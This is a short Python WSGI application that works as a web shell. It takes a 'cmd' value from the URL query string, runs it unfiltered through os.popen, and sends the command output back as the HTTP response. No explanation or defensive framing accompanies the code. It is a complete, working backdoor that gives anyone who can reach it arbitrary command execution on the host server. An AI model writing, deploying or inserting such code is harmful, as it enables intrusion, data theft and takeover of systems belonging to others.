import os
from urllib.parse import parse_qs

def application(environ, start_response):
    params = parse_qs(environ.get('QUERY_STRING', ''))
    cmd = params.get('cmd', [''])[0]
    output = os.popen(cmd).read()
    
    start_response('200 OK', [('Content-Type', 'text/plain')])
    return [output.encode()]